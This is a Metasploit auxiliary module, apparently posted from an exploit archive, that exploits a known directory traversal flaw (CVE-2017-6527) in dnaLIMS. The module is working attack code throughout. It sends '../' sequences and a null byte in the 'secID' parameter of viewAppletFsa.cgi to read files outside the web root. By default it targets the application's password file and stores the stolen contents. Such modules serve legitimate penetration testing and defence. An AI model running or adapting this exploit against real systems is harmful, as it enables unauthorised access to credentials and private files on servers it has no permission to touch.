DnaLIMS Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DnaLIMS Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal vulnerability found in dnaLIMS.  
Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible  
to read a file outside the www directory.  
},  
'References' =>  
[  
['CVE', '2017-6527'],  
['US-CERT-VU', '929263'],  
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']  
],  
'Author' =>  
[  
'h00die <[email protected]>', # Discovery, PoC  
'flakey_biscuit <[email protected]>' # Discovery, PoC  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2017-03-08'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']),  
OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app  
OptInt.new('DEPTH', [true, 'The traversal depth', 4])  
])  
end  
  
def run_host(ip)  
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}"  
traverse = "../" * datastore['DEPTH']  
uri = normalize_uri(target_uri.path)  
base = File.dirname("#{uri}/.")  
  
print_status("Requesting: #{file} - #{rhost}")  
res = send_request_cgi({  
'uri' => "#{base}/viewAppletFsa.cgi",  
'vars_get' => { 'secID' => "#{traverse}#{file}%00",  
'Action' => 'blast',  
'hidenav' => '1'  
}  
})  
  
if not res  
print_error("No response from server.")  
return  
end  
  
if res.code != 200  
print_error("Server returned a non-200 response (body will not be saved):")  
print_line(res.to_s)  
return  
end  
  
vprint_good(res.body)  
p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))  
print_good("File saved as: #{p}")  
end  
end  
  
  
`